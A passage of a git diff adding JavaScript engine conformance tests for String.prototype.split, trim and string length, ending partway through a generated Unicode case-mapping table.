+var o1 = { toString: function() { order += "b"; return "-"; }};
+var o2 = { valueOf: function() { order += "a"; return 1; }};
+var res = "xyz-xyz".split(o1, o2);
+
+assertEq(order, "ab");
+assertEqArr(res, ["xyz"]);
+
+assertEqArr("".split(/.?/), []);
+assertEqArr("abc".split(/\b/), ["abc"]);
+
+assertEqArr("abc".split(/((()))./, 2), ["",""]);
+assertEqArr("abc".split(/((((()))))./, 9), ["","","","","","","","",""]);
+
+// from ES5 15.5.4.14
+assertEqArr("ab".split(/a*?/), ["a", "b"]);
+assertEqArr("ab".split(/a*/), ["", "b"]);
+assertEqArr("A<B>bold</B>and<CODE>coded</CODE>".split(/<(\/)?([^<>]+)>/),
+ ["A", undefined, "B", "bold", "/", "B", "and", undefined,
+ "CODE", "coded", "/", "CODE", ""]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/String/split-undefined-separator.js b/js/src/tests/ecma_5/String/split-undefined-separator.js
new file mode 100644
index 000000000..46aa6c16f
--- /dev/null
+++ b/js/src/tests/ecma_5/String/split-undefined-separator.js
@@ -0,0 +1,37 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 614608;
+var summary = "String.prototype.split with undefined separator";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function assertEqArr(a1, a2) {
+ assertEq(a1.length, a2.length);
+
+ for(var i=0; i<a1.length; i++) {
+ assertEq(a1[i], a2[i]);
+ }
+}
+var s = '--undefined--undefined--';
+
+assertEqArr(s.split(undefined, undefined), [s]);
+assertEqArr(s.split(undefined, -1), [s]);
+
+assertEqArr(s.split(undefined, 1), [s]);
+assertEqArr(s.split("undefined", 1), ["--"]);
+
+assertEqArr(s.split("-", 0), []);
+assertEqArr(s.split(undefined, 0), []);
+assertEqArr(s.split(s, 0), []);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/String/split-xregexp.js b/js/src/tests/ecma_5/String/split-xregexp.js
new file mode 100644
index 000000000..9dfe79b00
--- /dev/null
+++ b/js/src/tests/ecma_5/String/split-xregexp.js
@@ -0,0 +1,118 @@
+/*
+ * Tests from http://xregexp.com/tests/split.html
+ *
+ * Copyright (C) 2007 by Steven Levithan <stevenlevithan.com>
+ *
+ * Distributed under the terms of the MIT license.
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+ * THE SOFTWARE.
+ */
+var BUGNUMBER = 614608;
+var summary = "String.prototype.split with regexp separator";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var ecmaSampleRe = /<(\/)?([^<>]+)>/;
+
+var testCode = [
+ ["''.split()", [""]],
+ ["''.split(/./)", [""]],
+ ["''.split(/.?/)", []],
+ ["''.split(/.??/)", []],
+ ["'ab'.split(/a*/)", ["", "b"]],
+ ["'ab'.split(/a*?/)", ["a", "b"]],
+ ["'ab'.split(/(?:ab)/)", ["", ""]],
+ ["'ab'.split(/(?:ab)*/)", ["", ""]],
+ ["'ab'.split(/(?:ab)*?/)", ["a", "b"]],
+ ["'test'.split('')", ["t", "e", "s", "t"]],
+ ["'test'.split()", ["test"]],
+ ["'111'.split(1)", ["", "", "", ""]],
+ ["'test'.split(/(?:)/, 2)", ["t", "e"]],
+ ["'test'.split(/(?:)/, -1)", ["t", "e", "s", "t"]],
+ ["'test'.split(/(?:)/, undefined)", ["t", "e", "s", "t"]],
+ ["'test'.split(/(?:)/, null)", []],
+ ["'test'.split(/(?:)/, NaN)", []],
+ ["'test'.split(/(?:)/, true)", ["t"]],
+ ["'test'.split(/(?:)/, '2')", ["t", "e"]],
+ ["'test'.split(/(?:)/, 'two')", []],
+ ["'a'.split(/-/)", ["a"]],
+ ["'a'.split(/-?/)", ["a"]],
+ ["'a'.split(/-??/)", ["a"]],
+ ["'a'.split(/a/)", ["", ""]],
+ ["'a'.split(/a?/)", ["", ""]],
+ ["'a'.split(/a??/)", ["a"]],
+ ["'ab'.split(/-/)", ["ab"]],
+ ["'ab'.split(/-?/)", ["a", "b"]],
+ ["'ab'.split(/-??/)", ["a", "b"]],
+ ["'a-b'.split(/-/)", ["a", "b"]],
+ ["'a-b'.split(/-?/)", ["a", "b"]],
+ ["'a-b'.split(/-??/)", ["a", "-", "b"]],
+ ["'a--b'.split(/-/)", ["a", "", "b"]],
+ ["'a--b'.split(/-?/)", ["a", "", "b"]],
+ ["'a--b'.split(/-??/)", ["a", "-", "-", "b"]],
+ ["''.split(/()()/)", []],
+ ["'.'.split(/()()/)", ["."]],
+ ["'.'.split(/(.?)(.?)/)", ["", ".", "", ""]],
+ ["'.'.split(/(.??)(.??)/)", ["."]],
+ ["'.'.split(/(.)?(.)?/)", ["", ".", undefined, ""]],
+ ["'A<B>bold</B>and<CODE>coded</CODE>'.split(ecmaSampleRe)",
+ ["A", undefined, "B", "bold", "/", "B",
+ "and", undefined, "CODE", "coded", "/",
+ "CODE", ""]],
+ ["'tesst'.split(/(s)*/)", ["t", undefined, "e", "s", "t"]],
+ ["'tesst'.split(/(s)*?/)", ["t", undefined, "e", undefined, "s",
+ undefined, "s", undefined, "t"]],
+ ["'tesst'.split(/(s*)/)", ["t", "", "e", "ss", "t"]],
+ ["'tesst'.split(/(s*?)/)", ["t", "", "e", "", "s", "", "s", "", "t"]],
+ ["'tesst'.split(/(?:s)*/)", ["t", "e", "t"]],
+ ["'tesst'.split(/(?=s+)/)", ["te", "s", "st"]],
+ ["'test'.split('t')", ["", "es", ""]],
+ ["'test'.split('es')", ["t", "t"]],
+ ["'test'.split(/t/)", ["", "es", ""]],
+ ["'test'.split(/es/)", ["t", "t"]],
+ ["'test'.split(/(t)/)", ["", "t", "es", "t", ""]],
+ ["'test'.split(/(es)/)", ["t", "es", "t"]],
+ ["'test'.split(/(t)(e)(s)(t)/)", ["", "t", "e", "s", "t", ""]],
+ ["'.'.split(/(((.((.??)))))/)", ["", ".", ".", ".", "", "", ""]],
+ ["'.'.split(/(((((.??)))))/)", ["."]]
+];
+
+function testSplit() {
+ for (var i = 0; i < testCode.length; i++) {
+ var actual = eval(testCode[i][0]);
+ var expected = testCode[i][1];
+
+ assertEq(actual.length, expected.length);
+
+ for(var j=0; j<actual.length; j++) {
+ assertEq(actual[j], expected[j], testCode[i][0]);
+ }
+ }
+}
+
+testSplit();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/String/string-object-length.js b/js/src/tests/ecma_5/String/string-object-length.js
new file mode 100644
index 000000000..9c464cc03
--- /dev/null
+++ b/js/src/tests/ecma_5/String/string-object-length.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 650621;
+var summary = 'String object length test';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(raisesException(InternalError)('for (args = "" ;;) args+=new String(args)+1'), true);
+
+reportCompare(true, true);
+
diff --git a/js/src/tests/ecma_5/String/string-space-trim.js b/js/src/tests/ecma_5/String/string-space-trim.js
new file mode 100644
index 000000000..18e3668e6
--- /dev/null
+++ b/js/src/tests/ecma_5/String/string-space-trim.js
@@ -0,0 +1,16 @@
+/* Generated by make_unicode.py DO NOT MODIFY */
+/* Unicode version: 9.0.0 */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var onlySpace = String.fromCharCode(0x9, 0xa, 0xb, 0xc, 0xd, 0x20, 0xa0, 0x1680, 0x2000, 0x2001, 0x2002, 0x2003, 0x2004, 0x2005, 0x2006, 0x2007, 0x2008, 0x2009, 0x200a, 0x2028, 0x2029, 0x202f, 0x205f, 0x3000, 0xfeff);
+
+assertEq(onlySpace.trim(), "");
+assertEq((onlySpace + 'aaaa').trim(), 'aaaa');
+assertEq(('aaaa' + onlySpace).trim(), 'aaaa');
+assertEq((onlySpace + 'aaaa' + onlySpace).trim(), 'aaaa');
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/String/string-upper-lower-mapping.js b/js/src/tests/ecma_5/String/string-upper-lower-mapping.js
new file mode 100644
index 000000000..b10ea808f
--- /dev/null
+++ b/js/src/tests/ecma_5/String/string-upper-lower-mapping.js
@@ -0,0 +1,65556 @@
+/* Generated by make_unicode.py DO NOT MODIFY */
+/* Unicode version: 9.0.0 */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var mapping = [
+ [0x0, 0x0], /* <control> (NULL) */
+ [0x1, 0x1], /* <control> (START OF HEADING) */
+ [0x2, 0x2], /* <control> (START OF TEXT) */
+ [0x3, 0x3], /* <control> (END OF TEXT) */
+ [0x4, 0x4], /* <control> (END OF TRANSMISSION) */
+ [0x5, 0x5], /* <control> (ENQUIRY) */
+ [0x6, 0x6], /* <control> (ACKNOWLEDGE) */
+ [0x7, 0x7], /* <control> (BELL) */
+ [0x8, 0x8], /* <control> (BACKSPACE) */
+ [0x9, 0x9], /* <control> (CHARACTER TABULATION) */
+ [0xa, 0xa], /* <control> (LINE FEED (LF)) */
+ [0xb, 0xb], /* <control> (LINE TABULATION) */
+ [0xc, 0xc], /* <control> (FORM FEED (FF)) */
+ [0xd, 0xd], /* <control> (CARRIAGE RETURN (CR)) */
+ [0xe, 0xe], /* <control> (SHIFT OUT) */
+ [0xf, 0xf], /* <control> (SHIFT IN) */
+ [0x10, 0x10], /* <control> (DATA LINK ESCAPE) */
+ [0x11, 0x11], /* <control> (DEVICE CONTROL ONE) */
+ [0x12, 0x12], /* <control> (DEVICE CONTROL TWO) */
+ [0x13, 0x13], /* <control> (DEVICE CONTROL THREE) */
+ [0x14, 0x14], /* <control> (DEVICE CONTROL FOUR) */
+ [0x15, 0x15], /* <control> (NEGATIVE ACKNOWLEDGE) */
+ [0x16, 0x16], /* <control> (SYNCHRONOUS IDLE) */
+ [0x17, 0x17], /* <control> (END OF TRANSMISSION BLOCK) */
+ [0x18, 0x18], /* <control> (CANCEL) */
+ [0x19, 0x19], /* <control> (END OF MEDIUM) */
+ [0x1a, 0x1a], /* <control> (SUBSTITUTE) */
+ [0x1b, 0x1b], /* <control> (ESCAPE) */
+ [0x1c, 0x1c], /* <control> (INFORMATION SEPARATOR FOUR) */
+ [0x1d, 0x1d], /* <control> (INFORMATION SEPARATOR THREE) */
+ [0x1e, 0x1e], /* <control> (INFORMATION SEPARATOR TWO) */
+ [0x1f, 0x1f], /* <control> (INFORMATION SEPARATOR ONE) */
+ [0x20, 0x20], /* SPACE */
+ [0x21, 0x21], /* EXCLAMATION MARK */
+ [0x22, 0x22], /* QUOTATION MARK */
+ [0x23, 0x23], /* NUMBER SIGN */
+ [0x24, 0x24], /* DOLLAR SIGN */
+ [0x25, 0x25], /* PERCENT SIGN */
+ [0x26, 0x26], /* AMPERSAND */
+ [0x27, 0x27], /* APOSTROPHE (APOSTROPHE-QUOTE) */
+ [0x28, 0x28], /* LEFT PARENTHESIS (OPENING PARENTHESIS) */
+ [0x29, 0x29], /* RIGHT PARENTHESIS (CLOSING PARENTHESIS) */
+ [0x2a, 0x2a], /* ASTERISK */
+ [0x2b, 0x2b], /* PLUS SIGN */
+ [0x2c, 0x2c], /* COMMA */
+ [0x2d, 0x2d], /* HYPHEN-MINUS */
+ [0x2e, 0x2e], /* FULL STOP (PERIOD) */
+ [0x2f, 0x2f], /* SOLIDUS (SLASH) */
+ [0x30, 0x30], /* DIGIT ZERO */
+ [0x31, 0x31], /* DIGIT ONE */
+ [0x32, 0x32], /* DIGIT TWO */
+ [0x33, 0x33], /* DIGIT THREE */
+ [0x34, 0x34], /* DIGIT FOUR */
+ [0x35, 0x35], /* DIGIT FIVE */
+ [0x36, 0x36], /* DIGIT SIX */
+ [0x37, 0x37], /* DIGIT SEVEN */
+ [0x38, 0x38], /* DIGIT EIGHT */
+ [0x39, 0x39], /* DIGIT NINE */
+ [0x3a, 0x3a], /* COLON */
+ [0x3b, 0x3b], /* SEMICOLON */
+ [0x3c, 0x3c], /* LESS-THAN SIGN */
+ [0x3d, 0x3d], /* EQUALS SIGN */
+ [0x3e, 0x3e], /* GREATER-THAN SIGN */
+ [0x3f, 0x3f], /* QUESTION MARK */
+ [0x40, 0x40], /* COMMERCIAL AT */
+ [0x41, 0x61], /* LATIN CAPITAL LETTER A */
+ [0x42, 0x62], /* LATIN CAPITAL LETTER B */
+ [0x43, 0x63], /* LATIN CAPITAL LETTER C */
+ [0x44, 0x64], /* LATIN CAPITAL LETTER D */
+ [0x45, 0x65], /* LATIN CAPITAL LETTER E */
+ [0x46, 0x66], /* LATIN CAPITAL LETTER F */
+ [0x47, 0x67], /* LATIN CAPITAL LETTER G */
+ [0x48, 0x68], /* LATIN CAPITAL LETTER H */
+ [0x49, 0x69], /* LATIN CAPITAL LETTER I */
+ [0x4a, 0x6a], /* LATIN CAPITAL LETTER J */
+ [0x4b, 0x6b], /* LATIN CAPITAL LETTER K */
+ [0x4c, 0x6c], /* LATIN CAPITAL LETTER L */
+ [0x4d, 0x6d], /* LATIN CAPITAL LETTER M */
+ [0x4e, 0x6e], /* LATIN CAPITAL LETTER N */
+ [0x4f, 0x6f], /* LATIN CAPITAL LETTER O */
+ [0x50, 0x70], /* LATIN CAPITAL LETTER P */
+ [0x51, 0x71], /* LATIN CAPITAL LETTER Q */
+ [0x52, 0x72], /* LATIN CAPITAL LETTER R */
+ [0x53, 0x73], /* LATIN CAPITAL LETTER S */
+ [0x54, 0x74], /* LATIN CAPITAL LETTER T */
+ [0x55, 0x75], /* LATIN CAPITAL LETTER U */
+ [0x56, 0x76], /* LATIN CAPITAL LETTER V */
+ [0x57, 0x77], /* LATIN CAPITAL LETTER W */
+ [0x58, 0x78], /* LATIN CAPITAL LETTER X */
+ [0x59, 0x79], /* LATIN CAPITAL LETTER Y */
+ [0x5a, 0x7a], /* LATIN CAPITAL LETTER Z */
+ [0x5b, 0x5b], /* LEFT SQUARE BRACKET (OPENING SQUARE BRACKET) */
+ [0x5c, 0x5c], /* REVERSE SOLIDUS (BACKSLASH) */
+ [0x5d, 0x5d], /* RIGHT SQUARE BRACKET (CLOSING SQUARE BRACKET) */
+ [0x5e, 0x5e], /* CIRCUMFLEX ACCENT (SPACING CIRCUMFLEX) */
+ [0x5f, 0x5f], /* LOW LINE (SPACING UNDERSCORE) */
+ [0x60, 0x60], /* GRAVE ACCENT (SPACING GRAVE) */
+ [0x41, 0x61], /* LATIN SMALL LETTER A */
+ [0x42, 0x62], /* LATIN SMALL LETTER B */
+ [0x43, 0x63], /* LATIN SMALL LETTER C */
+ [0x44, 0x64], /* LATIN SMALL LETTER D */
+ [0x45, 0x65], /* LATIN SMALL LETTER E */
+ [0x46, 0x66], /* LATIN SMALL LETTER F */
+ [0x47, 0x67], /* LATIN SMALL LETTER G */
+ [0x48, 0x68], /* LATIN SMALL LETTER H */
+ [0x49, 0x69], /* LATIN SMALL LETTER I */
+ [0x4a, 0x6a], /* LATIN SMALL LETTER J */
+ [0x4b, 0x6b], /* LATIN SMALL LETTER K */
+ [0x4c, 0x6c], /* LATIN SMALL LETTER L */
+ [0x4d, 0x6d], /* LATIN SMALL LETTER M */
+ [0x4e, 0x6e], /* LATIN SMALL LETTER N */
+ [0x4f, 0x6f], /* LATIN SMALL LETTER O */
+ [0x50, 0x70], /* LATIN SMALL LETTER P */
+ [0x51, 0x71], /* LATIN SMALL LETTER Q */
+ [0x52, 0x72], /* LATIN SMALL LETTER R */
+ [0x53, 0x73], /* LATIN SMALL LETTER S */
+ [0x54, 0x74], /* LATIN SMALL LETTER T */
+ [0x55, 0x75], /* LATIN SMALL LETTER U */
+ [0x56, 0x76], /* LATIN SMALL LETTER V */
+ [0x57, 0x77], /* LATIN SMALL LETTER W */
+ [0x58, 0x78], /* LATIN SMALL LETTER X */
+ [0x59, 0x79], /* LATIN SMALL LETTER Y */
+ [0x5a, 0x7a], /* LATIN SMALL LETTER Z */
+ [0x7b, 0x7b], /* LEFT CURLY BRACKET (OPENING CURLY BRACKET) */
+ [0x7c, 0x7c], /* VERTICAL LINE (VERTICAL BAR) */
+ [0x7d, 0x7d], /* RIGHT CURLY BRACKET (CLOSING CURLY BRACKET) */
+ [0x7e, 0x7e], /* TILDE */
+ [0x7f, 0x7f], /* <control> (DELETE) */
+ [0x80, 0x80], /* <control> */
+ [0x81, 0x81], /* <control> */
+ [0x82, 0x82], /* <control> (BREAK PERMITTED HERE) */
+ [0x83, 0x83], /* <control> (NO BREAK HERE) */
+ [0x84, 0x84], /* <control> */
+ [0x85, 0x85], /* <control> (NEXT LINE (NEL)) */
+ [0x86, 0x86], /* <control> (START OF SELECTED AREA) */
+ [0x87, 0x87], /* <control> (END OF SELECTED AREA) */
+ [0x88, 0x88], /* <control> (CHARACTER TABULATION SET) */
+ [0x89, 0x89], /* <control> (CHARACTER TABULATION WITH JUSTIFICATION) */
+ [0x8a, 0x8a], /* <control> (LINE TABULATION SET) */
+ [0x8b, 0x8b], /* <control> (PARTIAL LINE FORWARD) */
+ [0x8c, 0x8c], /* <control> (PARTIAL LINE BACKWARD) */
+ [0x8d, 0x8d], /* <control> (REVERSE LINE FEED) */
+ [0x8e, 0x8e], /* <control> (SINGLE SHIFT TWO) */
+ [0x8f, 0x8f], /* <control> (SINGLE SHIFT THREE) */
+ [0x90, 0x90], /* <control> (DEVICE CONTROL STRING) */
+ [0x91, 0x91], /* <control> (PRIVATE USE ONE) */
+ [0x92, 0x92], /* <control> (PRIVATE USE TWO) */
+ [0x93, 0x93], /* <control> (SET TRANSMIT STATE) */
+ [0x94, 0x94], /* <control> (CANCEL CHARACTER) */
+ [0x95, 0x95], /* <control> (MESSAGE WAITING) */
+ [0x96, 0x96], /* <control> (START OF GUARDED AREA) */
+ [0x97, 0x97], /* <control> (END OF GUARDED AREA) */
+ [0x98, 0x98], /* <control> (START OF STRING) */
+ [0x99, 0x99], /* <control> */
+ [0x9a, 0x9a], /* <control> (SINGLE CHARACTER INTRODUCER) */
+ [0x9b, 0x9b], /* <control> (CONTROL SEQUENCE INTRODUCER) */
+ [0x9c, 0x9c], /* <control> (STRING TERMINATOR) */
+ [0x9d, 0x9d], /* <control> (OPERATING SYSTEM COMMAND) */
+ [0x9e, 0x9e], /* <control> (PRIVACY MESSAGE) */
+ [0x9f, 0x9f], /* <control> (APPLICATION PROGRAM COMMAND) */
+ [0xa0, 0xa0], /* NO-BREAK SPACE (NON-BREAKING SPACE) */
+ [0xa1, 0xa1], /* INVERTED EXCLAMATION MARK */
+ [0xa2, 0xa2], /* CENT SIGN */
+ [0xa3, 0xa3], /* POUND SIGN */
+ [0xa4, 0xa4], /* CURRENCY SIGN */
+ [0xa5, 0xa5], /* YEN SIGN */
+ [0xa6, 0xa6], /* BROKEN BAR (BROKEN VERTICAL BAR) */
+ [0xa7, 0xa7], /* SECTION SIGN */
+ [0xa8, 0xa8], /* DIAERESIS (SPACING DIAERESIS) */
+ [0xa9, 0xa9], /* COPYRIGHT SIGN */
+ [0xaa, 0xaa], /* FEMININE ORDINAL INDICATOR */
+ [0xab, 0xab], /* LEFT-POINTING DOUBLE ANGLE QUOTATION MARK (LEFT POINTING GUILLEMET) */
+ [0xac, 0xac], /* NOT SIGN */
+ [0xad, 0xad], /* SOFT HYPHEN */
+ [0xae, 0xae], /* REGISTERED SIGN (REGISTERED TRADE MARK SIGN) */
+ [0xaf, 0xaf], /* MACRON (SPACING MACRON) */
+ [0xb0, 0xb0], /* DEGREE SIGN */
+ [0xb1, 0xb1], /* PLUS-MINUS SIGN (PLUS-OR-MINUS SIGN) */
+ [0xb2, 0xb2], /* SUPERSCRIPT TWO (SUPERSCRIPT DIGIT TWO) */
+ [0xb3, 0xb3], /* SUPERSCRIPT THREE (SUPERSCRIPT DIGIT THREE) */
+ [0xb4, 0xb4], /* ACUTE ACCENT (SPACING ACUTE) */
+ [0x39c, 0xb5], /* MICRO SIGN */
+ [0xb6, 0xb6], /* PILCROW SIGN (PARAGRAPH SIGN) */
+ [0xb7, 0xb7], /* MIDDLE DOT */
+ [0xb8, 0xb8], /* CEDILLA (SPACING CEDILLA) */
+ [0xb9, 0xb9], /* SUPERSCRIPT ONE (SUPERSCRIPT DIGIT ONE) */
+ [0xba, 0xba], /* MASCULINE ORDINAL INDICATOR */
+ [0xbb, 0xbb], /* RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK (RIGHT POINTING GUILLEMET) */
+ [0xbc, 0xbc], /* VULGAR FRACTION ONE QUARTER (FRACTION ONE QUARTER) */
+ [0xbd, 0xbd], /* VULGAR FRACTION ONE HALF (FRACTION ONE HALF) */
+ [0xbe, 0xbe], /* VULGAR FRACTION THREE QUARTERS (FRACTION THREE QUARTERS) */
+ [0xbf, 0xbf], /* INVERTED QUESTION MARK */
+ [0xc0, 0xe0], /* LATIN CAPITAL LETTER A WITH GRAVE (LATIN CAPITAL LETTER A GRAVE) */
+ [0xc1, 0xe1], /* LATIN CAPITAL LETTER A WITH ACUTE (LATIN CAPITAL LETTER A ACUTE) */
+ [0xc2, 0xe2], /* LATIN CAPITAL LETTER A WITH CIRCUMFLEX (LATIN CAPITAL LETTER A CIRCUMFLEX) */
+ [0xc3, 0xe3], /* LATIN CAPITAL LETTER A WITH TILDE (LATIN CAPITAL LETTER A TILDE) */
+ [0xc4, 0xe4], /* LATIN CAPITAL LETTER A WITH DIAERESIS (LATIN CAPITAL LETTER A DIAERESIS) */
+ [0xc5, 0xe5], /* LATIN CAPITAL LETTER A WITH RING ABOVE (LATIN CAPITAL LETTER A RING) */
+ [0xc6, 0xe6], /* LATIN CAPITAL LETTER AE (LATIN CAPITAL LETTER A E) */
+ [0xc7, 0xe7], /* LATIN CAPITAL LETTER C WITH CEDILLA (LATIN CAPITAL LETTER C CEDILLA) */
+ [0xc8, 0xe8], /* LATIN CAPITAL LETTER E WITH GRAVE (LATIN CAPITAL LETTER E GRAVE) */
+ [0xc9, 0xe9], /* LATIN CAPITAL LETTER E WITH ACUTE (LATIN CAPITAL LETTER E ACUTE) */
+ [0xca, 0xea], /* LATIN CAPITAL LETTER E WITH CIRCUMFLEX (LATIN CAPITAL LETTER E CIRCUMFLEX) */
+ [0xcb, 0xeb], /* LATIN CAPITAL LETTER E WITH DIAERESIS (LATIN CAPITAL LETTER E DIAERESIS) */
+ [0xcc, 0xec], /* LATIN CAPITAL LETTER I WITH GRAVE (LATIN CAPITAL LETTER I GRAVE) */
+ [0xcd, 0xed], /* LATIN CAPITAL LETTER I WITH ACUTE (LATIN CAPITAL LETTER I ACUTE) */
+ [0xce, 0xee], /* LATIN CAPITAL LETTER I WITH CIRCUMFLEX (LATIN CAPITAL LETTER I CIRCUMFLEX) */
+ [0xcf, 0xef], /* LATIN CAPITAL LETTER I WITH DIAERESIS (LATIN CAPITAL LETTER I DIAERESIS) */
+ [0xd0, 0xf0], /* LATIN CAPITAL LETTER ETH */
+ [0xd1, 0xf1], /* LATIN CAPITAL LETTER N WITH TILDE (LATIN CAPITAL LETTER N TILDE) */
+ [0xd2, 0xf2], /* LATIN CAPITAL LETTER O WITH GRAVE (LATIN CAPITAL LETTER O GRAVE) */
+ [0xd3, 0xf3], /* LATIN CAPITAL LETTER O WITH ACUTE (LATIN CAPITAL LETTER O ACUTE) */
+ [0xd4, 0xf4], /* LATIN CAPITAL LETTER O WITH CIRCUMFLEX (LATIN CAPITAL LETTER O CIRCUMFLEX) */
+ [0xd5, 0xf5], /* LATIN CAPITAL LETTER O WITH TILDE (LATIN CAPITAL LETTER O TILDE) */
+ [0xd6, 0xf6], /* LATIN CAPITAL LETTER O WITH DIAERESIS (LATIN CAPITAL LETTER O DIAERESIS) */
+ [0xd7, 0xd7], /* MULTIPLICATION SIGN */
+ [0xd8, 0xf8], /* LATIN CAPITAL LETTER O WITH STROKE (LATIN CAPITAL LETTER O SLASH) */
+ [0xd9, 0xf9], /* LATIN CAPITAL LETTER U WITH GRAVE (LATIN CAPITAL LETTER U GRAVE) */
+ [0xda, 0xfa], /* LATIN CAPITAL LETTER U WITH ACUTE (LATIN CAPITAL LETTER U ACUTE) */
+ [0xdb, 0xfb], /* LATIN CAPITAL LETTER U WITH CIRCUMFLEX (LATIN CAPITAL LETTER U CIRCUMFLEX) */
+ [0xdc, 0xfc], /* LATIN CAPITAL LETTER U WITH DIAERESIS (LATIN CAPITAL LETTER U DIAERESIS) */
+ [0xdd, 0xfd], /* LATIN CAPITAL LETTER Y WITH ACUTE (LATIN CAPITAL LETTER Y ACUTE) */
+ [0xde, 0xfe], /* LATIN CAPITAL LETTER THORN */
+ [0xdf, 0xdf], /* LATIN SMALL LETTER SHARP S */
+ [0xc0, 0xe0], /* LATIN SMALL LETTER A WITH GRAVE (LATIN SMALL LETTER A GRAVE) */
+ [0xc1, 0xe1], /* LATIN SMALL LETTER A WITH ACUTE (LATIN SMALL LETTER A ACUTE) */
+ [0xc2, 0xe2], /* LATIN SMALL LETTER A WITH CIRCUMFLEX (LATIN SMALL LETTER A CIRCUMFLEX) */
+ [0xc3, 0xe3], /* LATIN SMALL LETTER A WITH TILDE (LATIN SMALL LETTER A TILDE) */
+ [0xc4, 0xe4], /* LATIN SMALL LETTER A WITH DIAERESIS (LATIN SMALL LETTER A DIAERESIS) */
+ [0xc5, 0xe5], /* LATIN SMALL LETTER A WITH RING ABOVE (LATIN SMALL LETTER A RING) */
+ [0xc6, 0xe6], /* LATIN SMALL LETTER AE (LATIN SMALL LETTER A E) */
+ [0xc7, 0xe7], /* LATIN SMALL LETTER C WITH CEDILLA (LATIN SMALL LETTER C CEDILLA) */
+ [0xc8, 0xe8], /* LATIN SMALL LETTER E WITH GRAVE (LATIN SMALL LETTER E GRAVE) */
+ [0xc9, 0xe9], /* LATIN SMALL LETTER E WITH ACUTE (LATIN SMALL LETTER E ACUTE) */
+ [0xca, 0xea], /* LATIN SMALL LETTER E WITH CIRCUMFLEX (LATIN SMALL LETTER E CIRCUMFLEX) */
+ [0xcb, 0xeb], /* LATIN SMALL LETTER E WITH DIAERESIS (LATIN SMALL LETTER E DIAERESIS) */
+ [0xcc, 0xec], /* LATIN SMALL LETTER I WITH GRAVE (LATIN SMALL LETTER I GRAVE) */
+ [0xcd, 0xed], /* LATIN SMALL LETTER I WITH ACUTE (LATIN SMALL LETTER I ACUTE) */
+ [0xce, 0xee], /* LATIN SMALL LETTER I WITH CIRCUMFLEX (LATIN SMALL LETTER I CIRCUMFLEX) */
+ [0xcf, 0xef], /* LATIN SMALL LETTER I WITH DIAERESIS (LATIN SMALL LETTER I DIAERESIS) */
+ [0xd0, 0xf0], /* LATIN SMALL LETTER ETH */
+ [0xd1, 0xf1], /* LATIN SMALL LETTER N WITH TILDE (LATIN SMALL LETTER N TILDE) */
+ [0xd2, 0xf2], /* LATIN SMALL LETTER O WITH GRAVE (LATIN SMALL LETTER O GRAVE) */
+ [0xd3, 0xf3], /* LATIN SMALL LETTER O WITH ACUTE (LATIN SMALL LETTER O ACUTE) */
+ [0xd4, 0xf4], /* LATIN SMALL LETTER O WITH CIRCUMFLEX (LATIN SMALL LETTER O CIRCUMFLEX) */
+ [0xd5, 0xf5], /* LATIN SMALL LETTER O WITH TILDE (LATIN SMALL LETTER O TILDE) */
+ [0xd6, 0xf6], /* LATIN SMALL LETTER O WITH DIAERESIS (LATIN SMALL LETTER O DIAERESIS) */
+ [0xf7, 0xf7], /* DIVISION SIGN */
+ [0xd8, 0xf8], /* LATIN SMALL LETTER O WITH STROKE (LATIN SMALL LETTER O SLASH) */
+ [0xd9, 0xf9], /* LATIN SMALL LETTER U WITH GRAVE (LATIN SMALL LETTER U GRAVE) */
+ [0xda, 0xfa], /* LATIN SMALL LETTER U WITH ACUTE (LATIN SMALL LETTER U ACUTE) */
+ [0xdb, 0xfb], /* LATIN SMALL LETTER U WITH CIRCUMFLEX (LATIN SMALL LETTER U CIRCUMFLEX) */
+ [0xdc, 0xfc], /* LATIN SMALL LETTER U WITH DIAERESIS (LATIN SMALL LETTER U DIAERESIS) */
+ [0xdd, 0xfd], /* LATIN SMALL LETTER Y WITH ACUTE (LATIN SMALL LETTER Y ACUTE) */
+ [0xde, 0xfe], /* LATIN SMALL LETTER THORN */
+ [0x178, 0xff], /* LATIN SMALL LETTER Y WITH DIAERESIS (LATIN SMALL LETTER Y DIAERESIS) */
